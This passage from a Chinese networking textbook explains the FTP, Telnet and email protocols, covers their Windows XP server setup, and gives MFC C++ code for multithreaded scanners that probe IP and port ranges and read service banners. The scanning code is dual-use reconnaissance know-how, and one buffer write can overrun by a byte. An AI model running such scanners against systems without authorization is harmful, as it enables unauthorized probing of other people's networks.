strTemp.Format("%s",RecvBuf);

//AfxMessageBox(strTemp);

if(strTemp.Find("HTTP")＞=0)

{

strTemp.Format("%d有WWW服务",uPort);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

}

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

//AfxMessageBox("Over");

return 0;

}

void CServiceScanerDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1:

if(g_bScaning)

{

UpdateData(TRUE);

if(g_iTotalThreadCount==0)

{

g_bScaning=FALSE;

m_strComment.Format("扫描结束。");

KillTimer(1);

}

else

{

m_strComment.Format("扫描中（线程数：%d）......",

g_iTotalThreadCount);

}

UpdateData(FALSE);

}

break;

default:break;}

CDialog::OnTimer(nIDEvent);

}

void CServiceScanerDlg::OnBUTTONClearTree()

{

m_ctlTreeResult.DeleteAllItems();

}




7.3　FTP服务扫描

FTP服务扫描就是通过扫描查找提供FTP服务的主机。


 7.3.1　FTP简介

FTP（File Transfer Protocol，文件传输协议）曾是早期互联网上最重要的一种访问方式。该方式也是采用C/S（客户端/服务器）模式。客户端通过对服务器的访问，可以将服务器上的文件下载（download）到客户端本地；如果服务器允许，也可以将客户端本地的文件上传（upload）至服务器上。

从技术上看，服务器上要运行一个称为“FTP服务器”的软件系统，该软件系统的任务是接受客户端的请求，根据客户端的命令将指定的文件传给客户端，或者接收客户端的文件，并将文件保存到指定的目录中。而客户端的任务则是主动与服务器端连接，发出自己的请求。由于系统是一对多的方式，因此服务器端除了基本的文件上传、下载任务之外，通常还有用户认证、配置是否允许用户上传等功能。

由于FTP具有较为复杂的交互过程，因此FTP服务器通常会设计为一种交互的环境，在这种交互环境下，用户通过客户端连接到服务器后就会进入一种提示行状态。在该提示行状态下，用户每输入一个命令，服务器都会解释执行，并将结果返回给客户端，如图7.15所示。
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图　7.15　FTP客户端通信示意图

FTP在几乎所有的网络操作系统中都提供服务器端和客户端程序，在Windows下，不同的操作系统版本会略有不同，但总的来说还是差别不大。下面以Windows XP操作系统自带的FTP客户端为例说明FTP协议的格式。在Windows桌面状态，通过单击“开始→所有程序→附件→命令提示符”，即可弹出DOS窗口。在窗口中输入"ftp-help"，回车后即可以列出FTP客户端的支持参数。

Windows XP中，FTP客户端程序的命令行格式为：



FTP[-v][-d][-i][-n][-g][-s:文件名]

[-a][-w:窗口尺寸][-A][host]



参数如下：
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在知道了上面的参数后，我们以默认的方式登录FTP服务器，假设本机上装有FTP服务器软件（随后一节详细介绍如何安装FTP服务器软件），则在命令行中输入：



ftp 127.0.0.1



同样，不同的FTP服务器中，所支持的命令个数和每个命令的作用也不尽相同，同样以Windows XP系统自带的FTP客户端和服务端软件为例，FTP使用的交换命令主要参见表7.2。
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7.3.2　FTP服务器的安装与配置

使用Windows自带的FTP服务器软件，该配置与上节的WWW服务器配置大部分是相似的，故前面几步请参阅上节内容。在图7.6中，选中“文件传输协议（FTP）服务”后，就可将该服务器同时配置成一个FTP服务器，安装好FTP服务以后，就可以直接使用了，如图7.16所示。
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图　7.16　Windows XP安装“文件传输协议（FTP）服务”组件界面

但此时所使用的FTP服务的各项值都是默认值。如果要更改这些默认值，可以在“控制面板”中进入“管理工具”选项，在该选项中，可以看到有一个“Internet信息服务”选项，该选项是按上述操作安装了FTP服务以后新出现的。如果用户的“管理工具”中没有该选项，则表明没有安装FTP服务，或上述操作中某一步出错导致没安装成功，可以按上面步骤重新安装一遍。

在“管理工具”对话框中双击“Internet信息服务”选项，会弹出“Internet信息服务”对话框，如图7.17所示。

[image: ]


图　7.17　“Internet信息服务”FTP管理主界面

在该界面中，左边框中列有安装好的“网站”和“FTP站点”，其中网站中有一个“默认FTP站点”子项，该项中列有当前的FTP服务器。

右击“默认FTP站点”树状子项，会弹出一个菜单，可以对网站进行管理。菜单包括网站的显示列表、服务器的启停，这里不一一赘述，管理的选项是选择“属性”菜单项，打开“属性”窗口，如图7.18所示。
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图　7.18　网络属性配置FTP服务“FTP站点”选项卡参数界面

在“默认FTP站点属性”对话框中的“FTP站点”选项卡中，“描述”项是该FTP站点的一个名字。“TCP端口”项是该网站所用的端口号，默认值是21，如果用户不想使用这个端口，可以将此值改成别的值，当然，也要把这个值告诉访问者，否则对方仍然会用默认的21来访问刚刚配置好的网站，这当然会出错。而后面要做的FTP服务扫描器，正是通过连接各个端口，然后在端口中通过FTP协议来验证该端口是不是FTP服务。

在该对话框中，“主目录”选项卡是对FTP服务的控制访问，如图7.19所示。
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图　7.19　网络属性配置FTP服务“主目录”选项卡参数界面

在该对话框中，“本地路径”指明了该FTP站点的所有共享的文件都在这个路径之下的各级目录中，当然，用户也可以通过虚拟目录，把别的位置的目录映射到这个目录下。在访问控制中，如果选中“写入”选项，则不仅允许用户可以从这个目录下“下载文件”，还能向这个目录“上传”文件。

单击“消息”选项卡，如图7.20所示。“消息”选项卡包含远端用户在登录FTP服务器时的一些提示信息。“标题”文本框用于显示当客户端连接成功时的内容，一般可以是FTP服务器的简介。“欢迎”文本框用于显示当客户端登录成功时的内容，一般可以包含当前FTP服务器的主要内容、版本号、最近更新的内容、FTP操作的快捷命令等。“退出”文本框用于显示当客户端退出登录时的内容，一般可以是欢送语、统计量等信息。“最大连接数”用于在FTP系统同时连接的个数达到上限时（具体的上限数值的设置在图7.18所示的“FTP站点”选项卡中），向再提出连接请求的客户端发出的提示消息。以上四项内容都没有具体的格式，也没有强制性的要求，酌情设置即可。
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图　7.20　网络属性配置FTP服务“消息”选项卡参数界面

按上面配置好以后，则当前使用的计算机就变成了一个FTP服务器，该服务器可以向外界提供FTP文件传输服务。在别的计算机上要访问本机的FTP内容，有几种方式，一种是在浏览器的地址栏中输入：“ftp://配置FTP服务器的主机IP/”，当然，作为向外界提供的一个公共服务，自身也能访问，这时只需要打开浏览器，输入"ftp://127.0.0.1/"，就会自动打开指定目录（默认的是C:\Inetpub\ftproot\），如果成功则显示该目录中的文件列表，如图7.21所示。
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图　7.21　通过IE访问FTP服务器

上面这种方式，操作简便、直观，并且使用浏览器作为访问FTP服务器的工具，使用者更容易上手。但缺点是受浏览器版本限制较多，即使是使用Windows自带的IE浏览器，不同版本也有不同，且有时，默认情况下只能下载，不能上传。

除了这种方式之外，用户还能通过传统的方式上传或下载，例如，用户就可以用Windows自带的基于命令行的方式，进行FTP服务器的访问。图7.22详细地列出了一次FTP下载的几个关键命令。这种方式的优点是不受浏览器的限制和影响，但需要使用者知道各命令的意义。
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图　7.22　通过DOS命令行的方式访问FTP服务器


7.4　编程实例：FTP服务扫描器

通过前面的分析中，可以看出，要做一个FTP服务扫描器，只需建立一个TCP连接，然后向对方发送一个FTP协议的连接请求，对方无论做什么样的回复，只要是按FTP协议的回复，就可以认为对方提供FTP服务。如果连接失败或对方根本就不识别这种格式，则可以认为对方没有FTP服务，这样做的好处就是不必再详细分析对方的FTP服务的类型、版本等信息。


 7.4.1　程序主界面

根据上述分析，可以做一个界面，如图7.23所示。
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图　7.23　FTP服务扫描器界面

主界面分为上、中、下三个部分，上部分是“扫描范围”分组，提供了IP地址范围和端口两种范围的组合方式；中间部分是“扫描结果”分组，用于显示扫描过程和扫描结果；下面部分显示命令执行结果和当前状态。

单击“开始扫描”按钮，系统就会开始进入扫描状态。单击“结束扫描”按钮，程序会中止当前的扫描状态。“清空结果”表示清除已监测到的结果。


7.4.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为ServiceScaner_FTP。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码

考虑到本章程序格式上大同小异，所不同的只是扫描算法，所以这里只列出扫描算法的源码，其他部分的源码，详见本章WWW服务扫描器的源程序介绍。



UINT ThreadScan_Socket(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CServiceScanerDlg*ptr=threadparam-＞ptr;

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;

HTREEITEM curr=threadparam-＞curr;

int iIndexInList=threadparam-＞iIndexInList;

g_iTotalThreadCount++;

CString strTemp;

//使用SOCKET

SOCKET sock;

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

//AfxMessageBox("原始套接字Socket设置出错!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)＆iTimeOut,sizeof(iTimeOut))

==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆iTimeOut,sizeof(iTimeOut))

==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务。!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}

int times=3;

//IP包最大为64K左右，所以定义一个大的缓冲区

UCHAR RecvBuf[MAXRECEIVENUM]={0};

BOOL bHaveFtp=FALSE;

while(times＞0)

{

int iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet＞0)

{

RecvBuf[iLenRet]='\0';

strTemp.Format("%s",RecvBuf);

//AfxMessageBox(strTemp);

strTemp.MakeUpper();

if(strTemp.Find("FTP")＞=0)

{

bHaveFtp=TRUE;

//times=4;

}

Sleep(500);

CString strQuit="quit\r\n";

send(sock,strQuit.GetBuffer(0),strQuit.GetLength(),0);

}

times--;

}

if(bHaveFtp)

{

strTemp.Format("%d有FTP服务",uPort);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

//AfxMessageBox("Over");

return 0;

}




7.5　Telnet服务扫描

Telnet服务扫描就是通过扫描查找提供Telnet服务的主机。下面先介绍Telnet协议，然后再介绍Telnet服务的安装与配置，这些是设计Telnet服务扫描器的基础。


 7.5.1　Telnet协议简介

Telnet协议是TCP/IP协议族中的一员，也是最早网络访问的方式之一。该协议主要作用是远程登录到远端的主机上，然后让远程主机提供指定的工作服务，最后将工作执行的结果返回给客户端。这个时候，客户端好像只有一个键盘和显示器起作用，键盘的作用是输入命令，显示器的作用是显示命令的结果；又像是用户直接在服务器的控制台上进行操作一样。

表面看上去，FTP和Telnet很像，都是远程先建立一个连接，建好以后如果有用户认证则输入用户名和密码，在认证通过后进入到一种交互命令的状态。但细细比较二者的原理，还是有以下三个区别：

1）FTP所完成的是指定的文件的下载和上传，该命令仅对文件进行操作，因此可以是一组全部列举出来的、封闭的命令，即用户只需要从FTP客户端提供的命令中选择有用的若干个完成任务即可；而Telnet是将客户端的显示器映射成服务器的显示器，把客户端的键盘映射成服务器的键盘，在这种情况下，客户端可以把服务器当成是本机，服务器上有什么命令可以执行，和服务器上程序的执行结果是不可穷举和不可预知的，因此Telnet的全部命令集不可能全部列举出来的（当然，其中有一些可以是可列举的），它可以包括服务器上所能运行的所有命令。

2）FTP的命令是以整个命令串为提交单位的，即服务器只对客户端输入的整串命令感兴趣，而不会在乎客户端是一个字符一个字符地输入的，还是直接把该命令一下复制到命令区的，还可能是用户输入过程中，发现输入错误，删除错误又输入了正确的字符。而Telnet因为是一个终端的作用，用户输入的每一次操作，都会引起服务器默认的操作，比如字母输入到一行的结尾时，在显示器上要换行显示的效果。因此，Telnet可以用户每输入一个字符，客户端都立即把该输入传送到服务端进行处理，服务器端处理完再把结果回送给客户端。当然，后期有些改进型的Telnet服务器也支持“命令整行处理”的模式，本书不讨论这种模式，因为目前绝大多数Telnet服务器仍然支持每输入一个字符都触发一次交互的模式。

3）FTP接收的双方只需要通过协议交换结果，至于FTP客户端怎么显示，不同的客户端完全没必要一致。而Telnet客户端为了仿真远程系统，则需要双方先进行一些输入、输出各选项的协商，协商找到一个双方都能接受的方式，才能继续真正的操作。

7.5.1.1　协议的命令

由于客户端差异较大，因此当Telnet客户端与服务器端初次连接时，首先要进行一些协商，协商的内容诸如改变字符集、响应模式等，所使用的命令是DO、DONT、WILL、WONT四项操作。无论是客户端和服务端都可以向对方提出协商请求，所提的请求，如果对方认可，则接受请求，并使此选项立刻生效；如果被拒绝，连接仍然保持基本的NVT的连接属性。很明显，一方可以拒绝另一方关于启用某一选项的请求，但是不能拒绝另一方关于使一选项失效的请求，因为双方必须准备保持相同的通信方式。

所有Telnet命令结构至少包括两个字节：由一个IAC（当作命令来解释，Interpretas Command）后跟一个命令。关于选项会话的命令是由三个字节构成的，第三个字节是关于选项参考的。选择这种结构的原因是，这种格式能够更大范围地使用数据空间，当然，这是通过基本NVT的谈判来进行的。数据字节与保留的命令值的冲突被大大减小了，而所有这些冲突都需要复杂、低效的方法来把数据字节转换为流。根据目前的设置，只有与IAC冲突的数据需要被发送两次，其他255个代码都可以直接发送。表7.3是定义了的Telnet命令。注意：只有当代码和代码序列前面是IAC时它才是命令。
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7.5.1.2　客户端的命令

以Windows XP自带的Telnet客户端和服务端为例。命令可以缩写。支持的命令如表7.4所示。

[image: ]


其中，set命令中的选项有如下几种：
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在unset命令中，其选项有如下几种：
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7.5.2　Telnet的安装与配置

与WWW服务和FTP服务一样，Windows同样提供了Telnet服务，但与前两者不同的地方是，要使自己的计算机成为一台Telnet服务器，用户不需要再安装什么程序，只需要手动地开启Telnet服务即可。

要开启Telnet服务，首先需要进入服务列表中，进入服务列表方式有多种，但不同的Windows版本略有不同，以Windows XP为例，通常的办法是：进入“控制面板”，然后进入“管理工具”选项，在该选项的列表中，找“服务”选项，双击该选项，会弹出一个“服务”对话框，该框中列有当前系统中所有的服务（包括正在运行的和未运行的）。在服务列表中，找到"Telnet"服务，双击该服务，会弹出“Telnet的属性（本地计算机）”对话框。考虑到Telnet的安全性，默认的“启动类型”是“已禁用”状态，修改为“手动”或“自动”后（具体选择哪一项视情况而定，在操作系统启动的时候，“自动”状态会同时启动），单击“启动”按钮，Telnet服务就会被启动起来，如图7.24所示。
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图　7.24　Telnet的属性图

除了这种图形界面的启动方式，还有命令行的启动方式，此时只需要在命令行中输入"net start telnet"即可开启Telnet服务，输入"net stop telnet"即可关闭Telnet服务。二者的效果跟图形化的操作完全等效。除了这两个命令之外，键入"tlntadmn"可以在命令行显示当前Telnet服务的状态。以上各命令示例如图7.25所示。
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图　7.25　通过命令行控制Telnet服务和显示Telnet服务器属性图

示例为用户访问本Telnet服务时用的一些默认参数，例如“Alt键已被映射到'Ctrl+A'：YES”表示用户在命令行状态时，有很多键既作为一些命令，又要参与一些组合键作为输入用，为了使二者能区分，所以很多键被重新映射。此例中，如果要使用Alt键，则需要用"Ctrl+A"代替。“Idle会话超时”表示当用户1个小时没有任何键盘的操作时，服务器将会超时断开连接。其他各选项的解释略。

配置好了Telnet服务器，就可以远程连接Telnet客户端了，简单的验证方式是利用Windows自带的命令行客户端程序。同样在上面界面上输入"telnet"命令，即可进入客户端程序，如图7.26所示。
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图　7.26　Telnet登录实例图

首先同样告诉用户，Esc键被映射为"Ctrl+]"，即如果要使用Esc键，则要用"Ctrl+]"代替。随后，可以发现系统的提示符变成了"Microsoft Telnet＞"，单击“？”命令，可以显示出Telnet所支持的命令，其中"open"命令用于打开远端Telnet服务器。计算机回应open命令如图7.27所示。
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图　7.27　Telnet操作实例图

连接好服务器后，运行了显示时间的命令"time"，然后通过"exit"断开连接。需要说明的一点是，图上面显示的“当前时间”是远端服务器的时间，而不是本地的时间。


7.6　编程实例：Telnet服务扫描器

通过前面的分析中，可以看出，要做一个Telnet服务扫描器，只需建立一个Telnet连接，然后向对方发送一个Telnet协议的连接请求即可。对方只要是按Telnet协议回复，就可以认为对方提供Telnet服务。如果连接失败或对方根本就不识别这种格式，则可以认为对方没有Telnet服务，这样做的好处就是不必再详细分析对方的Telnet服务的类型、版本等信息。


 7.6.1　程序主界面

根据上述分析，可以做一个界面，如图7.28所示。
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图　7.28　Telnet服务扫描器

主界面分为上、中、下三个部分，上部分是“扫描范围”分组，提供了IP地址范围和端口两种范围的组合方式；中间部分是“扫描结果”分组，用于显示扫描过程和扫描结果；下面部分显示命令执行结果和当前状态。单击“开始扫描”按钮，系统就会进入扫描状态。单击“结束扫描”按钮，程序会中止当前的扫描。“清空结果”表示清除扫描结果。


7.6.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为ServiceScaner_Telnet。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码

考虑到本章程序格式上大同小异，所不同的只是扫描算法，所以这里只列出扫描算法的源码，其他部分的源码，详见本章WWW服务扫描器的源程序介绍。



UINT ThreadScan_Socket(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CServiceScanerDlg*ptr=threadparam-＞ptr;

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;

HTREEITEM curr=threadparam-＞curr;

int iIndexInList=threadparam-＞iIndexInList;

g_iTotalThreadCount++;

CString strTemp;

//使用SOCKET

SOCKET sock;

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

//AfxMessageBox("原始套接字Socket设置出错!",MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,

(char*)＆iTimeOut,sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,

(char*)＆iTimeOut,sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务。!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}

//IP包最大为64K左右，所以定义一个大的缓冲区

UCHAR RecvBuf[MAXRECEIVENUM]={0};

BOOL bHaveTelnet=FALSE;

int iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet＞0)

{

strTemp.Format("%s",(char*)RecvBuf);

strTemp.MakeUpper();

if(strTemp.Find("TELNET")＞=0)

bHaveTelnet=TRUE;

int iIACCount=0;

for(int i=0;i＜7;i++)

{

if(RecvBuf[i*3]==0xFF)

iIACCount++;

}

if(iIACCount＞6)

bHaveTelnet=TRUE;

//Sleep(500);

//CString strQuit="exit\r\n";

//send(sock,strQuit.GetBuffer(0),strQuit.GetLength(),0);

}

if(bHaveTelnet)

{

strTemp.Format("%d有Telnet服务",uPort);

//AfxMessageBox(strTemp);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

//AfxMessageBox("Over");

return 0;

}

UINT ThreadScan_CSocket(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CServiceScanerDlg*ptr=threadparam-＞ptr;

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;

HTREEITEM curr=threadparam-＞curr;

int iIndexInList=threadparam-＞iIndexInList;

g_iTotalThreadCount++;

CString strTemp;

CSocket sock;

if(!sock.Create())

{

//AfxMessageBox("创建失败",MB_OK|MB_ICONSTOP);

g_iTotalThreadCount--;

return 1;

}

if(!sock.Connect(strIP,uPort))

{

//AfxMessageBox("连接失败:"+strIP,MB_OK|MB_ICONSTOP);

g_iTotalThreadCount--;

sock.Close();

return 2;

}

//IP包最大为64K左右，所以定义一个大的缓冲区

UCHAR RecvBuf[MAXRECEIVENUM]={0};

BOOL bHaveTelnet=FALSE;

int iLenRet=sock.Receive((char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet＞0)

{

strTemp.Format("%s",(char*)RecvBuf);

strTemp.MakeUpper();

if(strTemp.Find("TELNET")＞=0)

bHaveTelnet=TRUE;

int iIACCount=0;

for(int i=0;i＜7;i++)

{

if(RecvBuf[i*3]==0xFF)

iIACCount++;

}

if(iIACCount＞6)

bHaveTelnet=TRUE;

}

if(bHaveTelnet)

{

strTemp.Format("%d有Telnet服务",uPort);

//AfxMessageBox(strTemp);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

sock.ShutDown(2);

sock.Close();

g_iTotalThreadCount--;

//AfxMessageBox("Over");

return 0;

}




7.7　Email服务扫描

电子邮件服务作为Internet上应用最多和最广的服务项目得到了非常广泛的应用，我国第一次与互联网连接后的操作就是通过电子邮件实现的，1987年9月20日从北京向海外发出的中国第一封电子邮件："Across the Great Wall,We can reach every corner of the world."（翻译：跨越长城，我们可以达到世界的任何角落）。现在的人们，也基本上将电子邮件地址作为标准通信方式的一种，可见Email的普及程度之高。

Email扫描就是通过扫描查找提供Email服务的主机。


 7.7.1　电子邮件协议简介

如同其他重要的网络服务一样，电子邮件系统也有其专用的通信协议，与之相关的协议主要有：SMTP（Simple Mail Transfer Protocol，简单邮件传输协议）、POP（Post Office Protocol，邮局协议）和IMAP（Internet Message Access Protocol，消息访问协议）。这几个协议都是TCP/IP协议簇的一部分，默认状态下，分别通过TCP熟知端口25、110和143建立通信。三者的作用不完全一样，它们之间的关系如图7.29所示。
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图　7.29　电子邮件各协议关系图

POP协议和IMAP协议是相似的，二选其一即可。用户A和用户B所选的协议不必相同，两个协议的作用都是从邮箱服务器上将邮件下载到本地。SMTP协议则负责完成两个节点间的传送，即由本地上传数据到邮箱服务器，或邮箱服务器之间邮件的传递。邮箱之间其实也相当于本地上传至服务器，其中发送邮箱服务器为本地，接收邮箱服务器为服务器。

用户A要给用户B发送电子邮件，首先双方都需要到各自的邮箱服务提供商处申请各自的电子邮件，然后A在自己主机上安装一个邮件收发的客户端，如Microsoft Outlook，并在客户端中配置“SMTP服务器”的地址是“邮箱服务器C”。这样客户端就可以通过SMTP协议将写好的邮件发送至邮箱服务器C，而后者再采用SMTP协议将邮件发送到用户B邮箱所在“邮箱服务器D”。而用户B为了能接到别人发给自己的邮件，则需要将自己主机的客户端的“POP服务器”或“IMAP服务器”的地址配置成“邮箱服务器D”，这样就可以到邮箱服务器D上下载别人给他发送的邮件到本地。

当然作为用户A和用户B，都不可能只发送或只接收邮件，因此每一方都要配置POP服务器地址和SMTP服务器地址，以便既能给别人发送邮件，也能接收邮件。

7.7.1.1　SMTP协议

SMTP使用25端口，由RFC0821所定义。SMTP协议可以分为客户端和服务端两部分，客户端多以应用程序的方式出现，如Microsoft Outlook等；互联网上的服务端通常由网络服务提供商提供。

为了保证邮件系统的安全，SMTP协议在使用前需要用户提供用户名和密码，也就是说，SMTP是需要认证的，只有提供了正确的用户名和密码的用户才能使用其正常的功能，这样做的目的是为了防止有人冒他人之名发送和接收邮件。值得注意的是，SMTP协议本身对于收邮件并没有过多的阻止或过滤机制，因此SMTP本身并不能阻止垃圾邮件的侵扰，只能从高层应用中再进行过滤。

对Email的扫描其实就是对SMTP的扫描，通过该扫描可以从一组IP地址中获得哪一台服务器提供了SMTP服务，或者从一台主机的一段端口中扫到哪个端口提供SMTP服务，或者二者的结合。

SMTP协议采用的是C/S（Client/Server，客户端/服务器）模式，其中用户主机的邮件发送程序作为客户端；邮件服务器作为服务器（即上述的邮箱服务器）。服务端监听端口25，客户端则没有要求，当客户端主动连接到服务器的端口25以后，就可以发送命令了。SMTP采用的是“请求-应答”模式，客户端每一次请求之后，服务器就给出一次应答，每一次的请求格式都是：



命令[命令参数]＜CRLF＞



其中命令即要发送的请求命令。有些命令仅靠一个命令还不足以解释全部的操作，所以后面要带上参数项，参数的个数、格式都因命令的不同而不同，参数后面还有一个回车换行（用＜CRLF＞表示），在程序中的表现，就是ASCII码为0x0A和0x0D的两个字符。

服务器的回复格式是：



应答码＜参数结果＞＜CRLF＞



主要的请求命令见表7.5。
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SMTP协议的每一个命令都会返回一个应答码，每一个应答码的都是有特定含义的，并且应答码的首位数字也具有特定的含义。如第一位数字为2时表示命令成功；3表示操作进行中；4表示操作过程中出错；5表示失败。一些较复杂的邮件程序利用该特点，首先检查应答码的首数字，并根据其值来决定下一步的动作。SMTP的应答码列表参见表7.6。
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7.7.1.2　POP协议

像人到邮局去接收纸制信件一样，POP协议用于电子邮件的接收，使用时，客户端会在连接到邮箱服务器后，依次下载邮箱服务器上的所有邮箱，直至下载完后，删除邮箱服务器上的邮件，然后断开连接。它使用TCP的110端口，详细可参见RFC1939。目前常用的是第三版，所以简称为POP3。

POP3协议采用的也是C/S模式，其中用户主机的邮件接收程序作为客户端；邮件服务器作为服务器（即上述的SMTP邮箱服务器）。其中，服务端要监听端口110，客户端则没有要求，当客户端主动连接到服务器的端口110以后，就可以发送命令了。

POP3的命令包括区分大小写的关键字，可能包括一个或多个参数。关键字与参数包括可打印的ASCII字符，之间由单个空格分开。关键字为三或四个字符长，每个参数最长为40个字符。POP3的响应最长512个字符，以＜CRLF＞结束。有肯定与否定两种状态，分别用+OK与+ERR来表示：
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某些命令的响应可能有多行，这时在最后一行用单个“.”字符结束。

POP3对话在生存期要经历几个状态，当连接刚建立POP3服务器发送了问候之后，对话进入了认证状态（AUTHORIZATION）。这时客户必须登录，成功完成后对话进入了事务状态（TRANSACTION）。当客户发出QUIT命令后，对话进入了更新状态（UPDATE），这时POP3服务器释放此连接所有的资源并且关闭连接，其中主要命令见表7.7。
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7.7.1.3　IMAP协议

IMAP协议（Internet Mail Access Protocol，互联网信息访问协议）是一种POP的增进版，常用的版本是IMAP4。其作用与POP协议一样，也是完成邮件从邮箱服务器上下载邮件到本地。详细内容参见RFC3501。IMAP协议运行在TCP/IP协议之上，使用的端口是143。

IMAP也能下载邮件、从服务器中删除邮件或询问是否有新邮件，但IMAP克服了POP的一些缺点。例如，它可以决定客户端请求邮件服务器提交所收到邮件的方式，请求邮件服务器只下载所选中的邮件而不是全部邮件。客户端可先阅读邮件信息的标题和发送者的名字再决定是否下载这个邮件。通过用户的客户端电子邮件程序，IMAP可让用户在服务器上创建并管理邮件文件夹或邮箱、删除邮件、查询某封信的一部分或全部内容，完成所有这些工作时都不需要把邮件从服务器下载到用户的个人计算机上。IMAP命令参见表7.8。

[image: ]


[image: ]


[image: ]


[image: ]


这里没列出所有的命令，如果需要这里没有列出来的命令，可以参考RFC3501。


7.7.2　电子邮件服务器的安装与配置

使用Windows自带的SMTP服务器软件，该安装配置与前面WWW服务器配置大部分是相似的，故前面几步，请参阅WWW的配置内容。在图7.6中，选中"SMTP Service"项，就可将该服务器同时配置成一个SMTP服务器，如图7.30所示。
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图　7.30　Windows XP安装"SMTP Service"组件界面

安装好SMTP服务以后，就可以直接使用了。此时的“Internet信息服务”窗口中会新增一个“默认SMTP虚拟服务器”选项，如图7.31所示。如果用户的“管理工具”中没有该选项，则表明没有安装SMTP服务，或上述操作中某一步出错导致没安装成功，可以按上面的步骤重新安装一遍。

[image: ]


图　7.31　“Internet信息服务”SMTP管理主界面

“Internet信息服务”窗口左边框中列有安装好的“网站”和“默认SMTP虚拟服务器”，右击“默认SMTP虚拟服务器”树状子项，会弹出一个菜单，可以对网站进行管理。菜单包含网站的显示列表、服务器的启停，这里不一一赘述。

在“默认SMTP虚拟服务器”的下面，还有“域”和“当前会话”两个子项，这两个子项可以通过单击“默认SMTP虚拟服务器”左边的加号（“+”）显示出来。其中的“域”表示邮箱中的域名部分，例如"admin@mail.lrm.com"中的"mail.lrm.com"部分。用户可以根据自己的需要创建属于邮箱域名，当然用户自己创建的邮箱域名同样要遵从于DNS的管理，否则可以将邮件发出去，但收不到别人发来的邮箱。这相当于一个人给身边熟悉的路自己起了一个名字，却没有到邮政部门注册，则由这个路名地址发出邮件没问题，但别人寄来的信件则无法定位这条路名。当前会话显示的是当前连接到这个服务器的用户列表。这两部分都会在后面邮箱验证部分再次提及。

右击“默认SMTP虚拟服务器”项，在弹出的菜单上，选择“属性”菜单项，就会弹出“默认SMTP虚拟服务器属性”对话框，如图7.32所示。
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图　7.32　网络属性配置SMTP服务“常规”选项卡参数界面

